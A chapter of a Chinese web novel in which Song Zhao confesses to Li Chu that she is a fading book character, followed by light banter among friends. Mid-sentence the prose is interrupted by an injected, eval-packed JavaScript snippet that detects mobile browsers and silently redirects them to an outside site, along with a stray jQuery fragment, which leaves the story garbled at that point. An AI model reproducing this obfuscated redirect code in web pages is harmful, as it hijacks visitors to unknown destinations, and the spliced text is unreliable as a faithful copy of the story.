黎初握向宋昭已近乎透明的右手,她的手如瓷器般冰凉,完全失去了体温。黎初伸出三根手指,轻轻搭在她的手腕上,试探地摸着,神情专注。
但奇怪的是,宋昭身体虽在透明化,但脉搏却仍然平稳有力。对上宋昭垂下的眼眸,黎初为她重新套上手套的同时,也提醒了她这个事实。
宋昭表情仍未有太多波澜,只是答道:“关于这点我也隐隐有过猜测,甚至曾经产生过希望,但通通都是无用功。”
黎初回忆起了原书中的女主宋昭昭,心底生出了一个大胆的想法:“你之前假扮女主宋昭昭,也是因为这个,对吗?”
宋昭的眼睛泛了点湿意,又强行挤出一抹笑容,好让自己看上去不是那么狼狈,道:“对不起,我之前骗了你。”
黎初:“骗我?”
宋昭用力眨了眨眼,试图收回自己突如其来的情绪,但语气却并不平静,娓娓道出了那些被她掩藏在深处的回忆。
“金钱、身份、地位、爱、容貌,可以说曾经的我几乎拥有一切,这一切对我而言都来得太轻松了,我处处被人捧着,所以那时的我骄纵任性、恣意快活。”
“直到,宋家倒台,树倒猢狲散,我也轻易地又失去了那些东西,后来就如你所看到的那般,扬明很喜欢我的这张脸,但他又看不得我的自视清高。”
“明面上,他会在所有人面前维护我,但所有的欺凌、辱骂又皆是因他而起。高考后,我选择报考了离北城最远最远的南城大学,我要逃离那个家,我也以为,我可以逃离的。”
“但这件事,被他发现了...争执之时,我从楼梯滚下,后脑重重磕在了楼梯角,在濒死之际,我却发现了一道细微的空间裂隙出现在我的身旁,随着鲜血的流失,那道裂隙越变越大,最终,顺着那道裂隙,我终于逃了出来。”
面对这些苦痛,黎初不知道该说些什么,她无法如一般人一样,对宋昭施以高高在上的同情,最后,只哑声问句:“后来呢?”
宋昭回想起那时的经历,又忍不住轻笑了一声:“后来的我,很快乐。我获得了自由,非常珍贵的自由。”
接着,她话音一转,声音又沉了下来:“至少,在我知道我的人生是一本小说之前,是快乐的。”
“不过,那本小说,我只看了个开头便再也看不下去。我当时的第一反应是愤怒,但没过多久,我就平静了下来。”
“毕竟那是书中角色宋昭的人生了,我自信地认为,我的人生从踏入现实世界的那一刻,就全然不同了,我的人生可以由我自己掌控了!”
黎初在宋昭缓缓地叙述声中,心脏也不可避免地抽痛了一瞬,当初,她在知道自己是书中角色时,并无宋昭那般激烈的情绪,那是因为,她是活在爱当中的,尽管,失去感情的她不能表达爱,但她却一直都在感受爱。
而宋昭却完全不同,黎初亲身感受过宋昭的世界,那个世界,痛苦、压抑、潮湿、阴暗、毫无希望可言,所以,宋昭该是恨的。
但她又一朝得知,一切的苦难不过是书中的情节罢了,于是她只能爱无可爱、恨无可恨。
宋昭低下头,注视着自己的双手,反复看了两遍,嘴角却只能勾起一抹苦笑:“所以,自那之后,我无所顾忌地在现实世界正常生活,直到有一天,我发现自己的手指偶尔会变得透明,这一刻,我才意识到了不对。”
“所有的快乐都是有代价的,它们在消耗我的生命,我也明白了,书中角色不能生活在现实世界。但我不愿,不愿回到那个书中世界。”
说着,宋昭倏地直直看向黎初的眼睛,一字一顿道:“所以,我只能为自己造一个世界。”
再后来的事情,就不言自明了。
宋昭修改了她曾经写的小说,以自己为原型创作了角色宋昭昭,取代了原本的女主,也就是黎初,来到了这个由她所创造的世界,以求得一丝生存的机会。
黎初道:“穿进这个世界以后,你发现,女主宋昭昭这个角色已经存在,要想取代她,你只能假扮女主,对吗?”
宋昭轻轻嗯了一声。
黎初继续问道:“但有一点,我不明白,为何后来你会再次回到《扬名录》的世界?”
宋昭想到这个,忽地来了点气性,语调扬起:“是世界意识,它发现了我这个来历不明的角色。”
“因此,在它察觉到我的存在以后,我再次受到了这个世界的排斥,眼见双手又要透明化,所以,我没有办法,只能选择了回去,以延缓透明化的速度。”
“但也只是延缓而已,即使你后来帮我逃离了那个噩梦,也无济于事了。”
她自嘲地说道:“再后来,我又冠冕堂皇地给自己找了理由,口口声声说要帮你找什么篡改者,但实际上,我也只是想在这个世界寻得一丝存在感,一丝活下去的生机而已。”
“而且,直到此刻,我仍旧和你诉说着我的凄惨过去,其实,也是在利用你的心软,来求得你的谅解。”
“黎初,我很自私,没有人......比我更了解我自己了。”
搀着真话的假话最让人辨不清真假,黎初眉梢轻挑,回道:
“阿昭,你知道吗?”
“人在说谎时,眼神是不一样的,我能看出你当初对我的假意接近,自然也能看出你现在对我的真心。”
“即使你如此说,我也不会任由你冒险,去为我挡下那些意外。”
宋昭短暂地一怔,两人的眼神对视上,又都兀自笑开。
“初初,你真是......”
宋昭的笑容带着些轻松,而黎初的笑容却掺上了些许沉重,因为,从宋昭的话中,她敏锐地捕捉到了重要的信息,或许,她想到了能够救下宋昭的方法。
只是,这个法子风险性极大......
“阿昭,黎初。”隔着一层楼梯,有一道男声从拐角处传来,两人齐齐伸头探去,只见赵霁在下方冲她们招了招手。
黎初应了声,瞥了眼时间,想来这时,开幕仪式应当刚刚结束,她只顾着和宋昭说话,倒是一时忘了时间。
“仪式结束后,陈宵没在休息室见到你,又联系不上你,现下,估计找得要急疯了。”
赵霁调侃着插了这么一句,和宋昭一同走在最前面。
黎初一手扶着油漆剥落的楼梯扶手,一手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515095|165746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给陈宵回了个电话。
只是,等电话的间隙,黎初却注意到了拐角处的地上,掉下了大片的墙皮,她瞥了瞥赵霁的背影,只见他后背的肩胛骨处也印上了一小块白斑。
所以,赵霁这是,在这里等了多久?他又是否听到了她和宋昭的那些对话?
黎初来不及细想,电话那头已经被接起,陈宵的声音略有些急促:“一一,你在哪里?”
黎初回应道:“我一个人待在休息室有些无聊,刚好遇上了阿昭,和她一起在天台看了看风景。”
“不过这会儿遇上了赵霁,我们马上下去。”
陈宵似是如释重负地松了口气:“好,那我在楼下等你。”
挂断电话后,赵霁回头打趣道:“怎么在天台看风景反而像是在灰里滚了一圈?”
黎初这才注意到身上因刚刚的一番意外,沾的到处是灰,不禁郝然。
不过,顺着赵霁的话头,黎初又带了分试探,笑着回道:“还说我们呢?你这后背是从哪沾了身白灰?”
赵霁掰过肩膀,神色如常地开玩笑道:“准是因为找你找得急,不知在哪蹭了一身。”
接着又用熟稔的语气对宋昭道:“阿昭,我看不到,你帮我拍一拍。”
宋昭脑子里仍旧在想着其他事情,听得赵霁唤她,也只敷衍地重重拍了拍赵霁的背:“好了,没了。”
赵霁又道:“阿昭,你这手劲儿还......”
但话未说完,就被宋昭的一个挑眉制止,话头一转说道:“......挺好,刚好开幕仪式坐了一个小时,我肩膀也酸了。”
黎初跟在身后注意着二人的互动,微微摇了摇头,心下暗怪自己的多疑。
陈宵迎在楼梯口,眉头微不可查地皱起,担心道:“一一,你们是摔到哪里了吗?”
黎初和宋昭对视一眼,互通了眼神,一齐解释道:
“刚刚在天台看风景来着,正巧刮了大风,天台又没有怎么打扫过,所以吹得我们一身灰。”
“对,也是天气比较奇怪,早上还天朗气清的。”
赵霁也在一旁附和道:“难怪,仪式中途我隐约听到了点风声。”
陈宵像是信了两人说的话,也未起疑,体贴地说道:“那你们先去换身衣服,等下再过来一起吃个饭。”
赵霁嗯了两声,接茬道:“当做是给黎初回国接风洗尘,顺便庆祝一下我得了个亚军。”
黎初似是疑惑地应道:“回国?”
宋昭冲她眨了下眼睛示意道:“对,你五年都在国外,怎么着刚回国也要庆祝一下。”
顺便,又转移了个话题:“怎么只得了个亚军?”
赵霁的注意力也被转移,“冠军是林希,想来我的文章或许比起她缺少一些感情吧。”
说着又悠悠地看了宋昭一眼,眼皮垂下,叹了口气道:“主要是我,可能缺乏点...感情经历吧。”
宋昭脸色微红,呛声道:“难道不是某人老是写一些不正经的文吗?”
赵霁却挑眉回道:“没办法,谁叫我的某个读者喜欢呢,再说,文章只要有人喜欢就好了,管它正不正经呢。”